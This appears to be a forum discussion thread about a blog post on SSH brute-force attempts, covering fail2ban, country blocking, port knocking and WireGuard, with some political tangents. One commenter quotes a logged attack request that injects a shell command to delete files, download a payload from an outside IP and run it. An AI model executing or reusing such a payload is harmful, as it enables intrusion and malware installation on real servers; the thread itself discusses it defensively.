Who's Attacking My Server?
bastian.rieck.me
bastian.rieck.me
Whether this is worth the hassle is left to the reader: if you have passwords disabled and only use keys it really shouldn’t matter.
I've run ssh on non-standard ports for over 20 years, and my auth.log is gets a hundred knocks an hour - and mind you, they all return "no key".
It's just life, and it will continue to get worse. Secure your server and ignore it.
This aggression will not stand
The GP is right: If you use ed25519 keys, looking at logs and playing whack a mole with countries is just security theater for people who are new to the internet and get scared when their MOTD says “500 failed logins”.
I’m sure you could do it a lot faster with a better CPU and 20% commit on a 10G port
Source Code: https://github.com/robertdavidgraham/masscan
Article from PoC || GTFO with more internal details on how it works: https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf (Page 66) [Note: PDF is both a valid PDF + valid ZIP file with source code]
Anyone have a better workaround for this?
I don't know the mechanics, but a port knock is hitting pre-defined ports in a pre-defined order. When you "shave and a haircut" the ports properly, the server opens something up. In this case white listing (gray listing?) the IP that the knock came from.
You could add a layers to it to make it more complicated.
I found it harder to use. I even wrote tests for my use cases and what I learned was a real appreciation of what ssh does, is, and provides and I went the other way and use it in more places than I did before.
Wireguard is also very strong here, as it learned from this kind of problem in SSH and does not reply at all unless authentication succeeds. This makes debugging harder, but also makes leaving it openly listening quite a bit safer, as the protocol surface in pre-auth is absolutely minimal.
Probably a bit overkill - but it was a fun feature to implement with Go over the weekend. The new Fido2 SSH implementation is also incredibly cool.
I'm using the cloud providers IP filtering to block everything but my IP on port 22. If something goes horribly wrong, I can disable it thru their web interface.
If an actual person of at least modest skill takes an interest in your server in particular, they're probably not going to do the sorts of things that would trigger fail2ban anyways. They're going to do things like probe around as lightly as possible to determine which services and which versions are running where to try and find things that are misconfigured or at known-vulnerable versions.
For administrative protocols (ssh, rdp, etc), I am a firm believer in IP whitelists, which give you the additional peace of mine of protecting you against future zero days, unless they affect the firewall.
This isn't something they should have trouble understanding/accepting.
All I'm hearing is that Tailscale is becoming an increasingly attractive bastion host to compromise, then use as a jump server to access heaps of poorly configured customer machines.
If an remote vuln needs some stack-smashing technique that has a low probability of success, fail2ban is going to to slow that down - perhaps in a way that makes it more obvious in logs, buying you time to discover your broken configuration or out of date software. Same way that a firewall buys you time to find that your database is listening on 0.0.0.0.
I think that this would be the norm and desirable for databases serving clients other than the local host's. Plopping the database server onto a public network and allowing anyone at all to talk to it, on the other hand...
I've had three production servers go down for various clients and the primary reason was full disk, primarily due to log files.
Unless I had multiple users who'd need to login of course, but then Tailscale suddenly become a paid product, and I'd probably add another instance as a bastion host at that point.
I guess my point is: Make sure the software you already have is configured the right way before adding more software on top.
Couldn't agree more!
But the ordering before that seem very reasonable. Although Wireguard is a soft alternative to changing default port, so it might be worth doing that.
On a slight tangent, I’ve never really bought into changing SSH port from default. I’d say the convenience of not having config/extra port specification is worth having it on a well known port, but that’s just my personal philosophy. I feel like for my low traffic things, just having strong SSH key and auto-updates is good enough.
But I guess this is partly because I tend to look at logs a lot less than I SSH into my server.
How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?
I see a variety of weird requests made to my http server. A sample:
`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`
Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?
That said, fail2ban had an RCE in the last year, so if we're considering trustworthy surfaces, I definitely agree and practice that I trust openssh a whole lot more than a lot of other software that may come up in the discussion.
The reason I've been in the code base a bunch is because I've taken on support of forks bootstrapped by others in various scenarios.
Design safety goes a fairly long way, but it's so easy to screw up patching code shaped this way. I might trust the core, but I don't trust external patches.
The problem in practice is, distros can't help themselves.
https://docbot.onetwoseven.one/services/nginx/#the-go-away-v...
I created an Apache config file with rewrite conditions to catch a bunch of "exploity" URI parts, abusive user-agent strings, referer spam targets, etc. This is loaded at the server level from httpd.conf, so I don't have to touch any vhosts and it's only parsed once when the service starts. Matching requests are rewritten to a script which drops the offender's IP and the ban reason into a file, and emits a terse "go away" message to the client. A separate daemonized process picks up those entries and adds them to an ipset in the firewall.
I went this route because fail2ban isn't always part of my deployment on a web server, but PHP is. Apache provides all of the matching capability to detect abuse from within itself, and the pair of PHP scripts are sufficient to act on those detections.
(And that one other comment is a little shady as well.)
Give it up already.
Goodbye!
Instead of lowering your attack surface you increase it by adding stuff.
You can set an alert for every failed SSH connection because if someone is able to get through that, it's alarming.
This setup has the side effect of reducing your log noise to zero. That SNR is super important for intrusion detection.
I also have alerts for both failed SSH or failed wireguard connections, and for any logins from a new IP with either SSH or wireguard.
https://wiki.nftables.org/wiki-nftables/index.php/Port_knock...
That script gets compiled into BPF and uploaded into the kernel once, at boot/ifup time. All the memory is preallocated.
Userspace can be dead/hung/OOM and you can be sure that at least the port knocking won't be why you got locked out.
I did look up OpenBSD pf again, and it too does port knocking in the kernel. My information was dated (left the misc mailing list at least 5 years ago).
To see anything really interesting you possibly need to let it get far enough that with a good zero-day intend in-hand it may be able to break out and affect the host. I don't know about you, but I don't trust myself to be that clever!
Russia doesn't reciprocate knowledge or technology or philosophy or anything with value. Primary Russian digital exports are bullet proof hosting, botnet-for-hire services, and low quality malware. Click spam, domain squatting... it's basically the red light district of the internet.
Somewhat unrelated: I have noticed that SPAM from Russian servers stopped on Feb 23 right before the invasion; I wonder what that means.
(my research institution has also put a stop on all projects involving Russian collaborators at the moment; on the one hand, I can understand this reaction, on the other hand, it creates even more problems and, as you say, does not distinguish between those responsible for the conflict and those who are not. This is not really not an easy space to navigate.)
The downside of static lists is that AWS, Azure, etc frequently purchase IP spaces and realign them with US datacenters. Probably not an issue for blocking Russia or China, but if you want US only traffic, or North American traffic, you can run into problems.
There are many different 3rd party sources for geo locating IP addresses, maybe MaxMinds is the most popular one. But if you acquire a few, you'll notice that sometimes even they don't agree where the location of a server is.
https://www.theguardian.com/technology/2016/aug/09/maxmind-m...
It seems like malicious traffic would be more agile come from everywhere, but if you block those two countries you filter a great deal of it.
[citation needed] - I have Russian friends and they generally don't use proxies or VPNs.
I've been geofenced and blocked my whole life, being from a small country no one gives a shit about. If not for the Internet, I'd likely be way more influenced by general media and be a pro-Russian usefu...less idiot. Because there would be no alternative, no way to learn and decide for myself.
So just my opinion, every person who can be influenced by western ideals (yes, I'm aware they're far from perfect) is worth it. Perhaps one of them can become someone of influence, either at home or as an immigrant.
Am I worth it? No. I don't add much to anything. But neither do the vast majority of Americans and Europeans. I'd just rather have a Russian/Chinese/Pakistani/Iranian/you name it as a friend than as an enemy.
If the price is learning proper configuration and/or a single core MIPS processor working overtime, I'd say it's worth it.
Absolutely illegal. Don't do that.
Also, if your setup is enough at controlling the nuisance, why bother?
--
Good work though, liked the visualization of attacker IP locations!
Have you considered running at least SSH on nonstandard port?
For example, you have a home security system that you monitor from your mobile device. Perhaps you have your pet at home, there have been break-ins in your neighborhood, and just after someone showed up on your doorstep the CCTV feed cuts. You are not at home and the cops are busy. - But you have the skills to defend your home's electronic presence. You suspect a life, your pet, may be in danger so you have a good motive.
What then?
There are some places that allow defending a home using automation using non lethal force but even that comes with some risk of civil legal issues. This is why I suggest consulting with a lawyer. Even with non lethal means one would want to ensure it is legal in their location and that they have the proper signs with appropriate verbiage and mitigating controls in place first. Also understanding what laws are enforced and how they are enforced in your particular area is useful. My own personal solution was to move to a location that supports your idea and the Sheriff would likely high-five me if I take out the trash. There are trade-offs of course and hopefully such things are never required.
There was talk at one point of creating laws that supported counter-hacking but those never happened and it is highly unlikely they would ever pass. Proper attribution is hard enough. There are endless rabbit holes of problems such laws would create. At a minimum there would be a vastly increased requirement on everyone's part to increase audit trails and data storage alone would become a booming business, far more than it already is.
You can defend your home with lethal force in many states in the US. No verbiage, signs or disclaimers required.
I was debating the nonstandard port, but I left it like this to simplify connections for my users. If the traffic starts to continue like this, I might be forced to switch, though.
It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.
Your approach to security has a number of issues. First, you don't know if someone is actually interested in your thing or not based on the location. They could be visiting China, could still be able to speak English or any other reason. Secondly, the mapping of Location <> IP Address is not as guaranteed as you seem to think. Plenty of IPs get flagged as Chinese while not being in China, and vice-versa is true as well. Just because some 3rd party says a host/client is in a specific location doesn't make that true.
Edit: Seems the commentator I replied to now have added "just personal stuff and a private forum" to their comment which was not there before, so most of my point is moot now, as I assumed at least semi-public content/service, not private.
When I get any number of malicious known attack vectors, I have a process that runs a few services against the IP for geolocation and server info. If it's a known data center, its block is immediately blocked, otherwise just the IP.
For whatever reason, they tend not to get new ips easily, so shutting down the IP will usually buy a few days before they have a new instance on qualys or whatever.
I do know, because my services (except the forum) are for me exclusively. On the forum, I know everyone. None of the members live in China, have relatives in China or travel to China. If they cannot access the forum, they can contact me in another way.
Yes, I know it's not going to get just China and Russia. Yes I know I'm blocking false positives. Yes I know I'm allowing false negatives.
And honestly, I couldn't care less. It's my service, my information, my time, and my money, and I don't feel the least bit bad nor swayed by some appeal to morality or fairness.
> Your approach to security has a number of issues.
Your examples are a bit of non-sequitur. If I OVERBAN, I'm not decreasing my security. The non-(Chinese hacker) visitor in China can't get in, that's not a security issue. IP's being flagged as Chinese not being in China... can't get in also not a security issue. Vice versa is a bit of a security issue, with which the second layer of my security onion deals.
I use Cloudflare which makes blocking countries simple, no need to keep updated IP lists.
Failed login attempts / brute force attempts seem like the cost of doing business in public. I assume that if my servers are accessible from 1 or more public addresses, they WILL be subject to brute force attempts. I also assume that by making my passwords sufficiently randomized, the probability of these attacks having any effect is infinitesimal.
To me, blocking an IP because it tried to log in to your servers seems purely like a fear response with no rational basis (or at least a poor understanding of probability / stats). By extension, blocking a range of IPs because of some arbitrarily elevated frequency of login attempts seems equally silly.
Now for DOS attacks, temporary IP blocks make perfect sense.
As you mentioned, simply ban couldn't help less. But anyway, their servers, their choices. I've no comment on that.
Thousands of brute force login attempts per day gone. The effect is, as you say, small, but it was non 0 and now it is 0, and it's a bunch of noise I don't have to wade through.
> Failed login attempts / brute force attempts seem like the cost of doing business in public.
Yup, and I pay that cost by blocking the source of 98% of them.
> purely like a fear response with no rational basis (or at least a poor understanding of probability / stats)
Thanks, clearly you know me well /s. And honestly, again, I don't feel that I even NEED a rational basis. It's my system, I'll block whomever I feel like blocking for whatever reason I want, thanks. If you want to deride me by calling into question my motives, you can do that too for whatever reason YOU want to, but that's on you.
You are free to act under whatever impetus you want and while I did call in to question your motives (implicitly), I never meant that as a derision. I frequently ask myself "why am I doing this?". It usually doesn't hurt to self reflect.
Edit: Something about this kept nagging me. And I think its this:
>It's my system, I'll block whomever I feel like blocking for whatever reason I want, thanks.
I see parallels to a sentiment that used to be fairly common in the U.S.:
"It's my store, I'll refuse whomever I feel like refusing for whatever reason I want, thanks"
Laws against that kind of thing are relatively new (1964?). You have a valid reason to block certain users (hacks) but do you really not see a problem extending that to national origin?
The Seattle Public Library is a public service despite not allowing residents of Guangzhou to borrow books.
In any case, physical goods and services are not analogous to digital goods and services. Or are you redoing the the piracy-is-stealing argument??
If you want a special definition of "public service" that means "accessible every human on earth without any exclusions" then that's fine, but telling someone something isn't a public service because you want to use a special definition of the phrase that no one else seems to use is a bit... overly argumentative?
Nailed it!!! I feel the same
I can understand that limiting services is sad, but nobody has a claim either, right?
So offering to some is way better than offering to none because of overwhelming opsec work (which is still secondary to the content). If the vandals show a pattern, it's bad luck if one shows the same. And proxying should be known to those who suffer from the block.
Maybe internet has to let go the mania of offering everything to everybody all the time. Like real life.
Um, they posted information on a public website. It's not private. Even if the site is owned by them, it is publicly available, of their own accord.
I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them.
Just to be clear, this is in the context of my private servers which host my mailserver as well as my personal website which is not meant for public consumption, but which I need to be publicly available.
But what would that accomplish? Unlike rogue ISPs in other countries, big cloud providers have abuse reporting that actually works.
Or just block all of them outright if they do not need to access your services.
I have had much better luck with US or EU based cloud providers. In particular, I remember DigitalOcean being very responsive.
I recently had contact with AWS about spam sent using SES and found the response times very quick and the replies appropriate (they’ll look into it but cannot report back, what I expected anyway). This particular spam stopped coming, but that could be a coincidence.
Would neither help nor work, as there's TOR and VPNs to access your servers from anywhere in the wirld.
Didn't help me all that much.
Most of the abuse and spam leveled at the servers I manage come through $5 DigitalOcean servers being used as relays.
It's the same thing that ruined voice telephony: Make the connection so cheap that it can be abused at scale.
But I do also ban, only temporarily. I found that a lot of IPs just stop reappearing/retrying, likely because they blacklist my IP and move on.
getting scanned and probed by peoples' automated tools looking for vulnerabel daemon RCEs has been a log clutter issue for about 25 years or more now. it's part of the background noise of the internet. ever since the days of having your http daemon logs cluttered up with GET DEFAULT.IDA stuff and similar in 2001.
https://www.google.com/search?client=firefox-b-1-d&q=get+def...
put more effort into ensuring that public facing daemons are totally up to date and hardened against external compromise. Or better yet don't have them public facing at all, if you can admin your server via an ssh daemon that only listens on a logical vpn interface or some sort of OOB interface.
Most of these attacks are harmless and the attacks that you should be worried is the Advanced Persistent Threat (APT) types [2].
Around eight years back I've proposed a system for crowdsourcing in covertly detecting APT similar to the minefields concept being used in war and I still think it's the best way to reliably detect APT including zero-day attacks.
Few months back in HN someone proposed an open source solution for crowdsourcing firewall, IDS and IPS but cannot get the link for now on top of my head at the moment.
[1] Live Threat Map:
https://livethreatmap.radware.com/
[2] Advanced Persistent Trap:
I monitor the bans on a daily basis. The IPs come from all over the world but when China shut down from Covid the login attempts just _stopped_. Like, the silence was deafening, like I thought the server was compromised and logging disabled.
It was spooky as hell, but as things came back to something resembling normal, the background radiation started picking up again and I am back to 60-80 bans per day. I have a hell of a list of compromised IPs now.
At least with SSH, once you move to only using key-based authentication, don't you simply stop worrying about weak passwords and failed logins?
You can then focus on keeping up to date with security patches, which is at least as important, but takes far less time.
If you know that password auth is disabled, don't you just grep out all the disconnected/preauth and 'invalid user' lines before you even look at (or process) auth.log?
On a box where password auth is enabled, you can't be sure what's signal and what's noise.
I offer other services on the public internet so a zero day could hit them but I don't have a choice in those cases (eg. incoming mail on 25), however with SSH I don't need to offer it to the world so why take the risk in the first place?
[...]
awk '($(NF-1) = /Ban/){print $NF}' /tmp/fail2ban.log \
| sort \
| jdresolve - \
| uniq -c \
| sort -n -r \
| sed -e 's/^[ \t]*//' \
| sed -e 's/ /\t/' \
| head -n 100
Automatically block countries by CIDR blocks and known bad actor IPs. Auto-updates these lists and adds them to your firewall.
It's a 5 minute install and maintenance free afterwards.
Not perfect, but reduces attack surface and log spam.
I wouldn't run that if I'd want something to reliably block someone from a specific country.
> Not perfect, but reduces attack surface and log spam.
You know what also does that? Setting up sshd properly in the first place.
Every few weeks they are attacked: 12 hours of attempted logins, port scanning, etc.
It's perfectly normal and nothing new.
Once they move to IPv6 only (after I need to sell my house to afford a single IPv4 address) it might be worth the extra scan time.
Moreover, you can scan for one common port inside a block (like 22, 80, 443 or whatever) which means you can cover wider blocks, and for the hosts you find, run a scan covering a bigger range of ports. Again, improve the targeting and IPv6 won't stop you either.
In IPv4 land finding that same host would require scanning a single address.
Nowadays I just use WireGuard to access my own LAN. But this doesn't scale as well if you need to constantly add and remove clients from the network.
For Nginx most bogus requests come directly on the public IP. So you can set up a dummy/catch-all vhost which drops those. https://pastebin.com/MuWgyGGG
It's not so simple. You typically need balanced data, which is difficult to obtain since the attacks don't happen very often (hopefully). This is also why anomaly detection is so difficult.
It's useful for helping in hardening the SSH configuration and there is also a web version here: https://www.ssh-audit.com/
See for example: https://www.nixtree.com/blog/csf-cluster-setup-for-hosting-c...
Maybe we can spoof both SYN and ACK and brute force/be lucky with the sequence numbers?
Probably the security services and some useful idiots who fall for the propaganda pumped out through the media.
Its divide and conquer, been going on since the The Holy Roman Empire, and it doesnt take much to hack switches or have agents in foreign countries so the geolocating attacks is worthless, its just something to mess with your mind.
Its keeps people busy though as you have found out!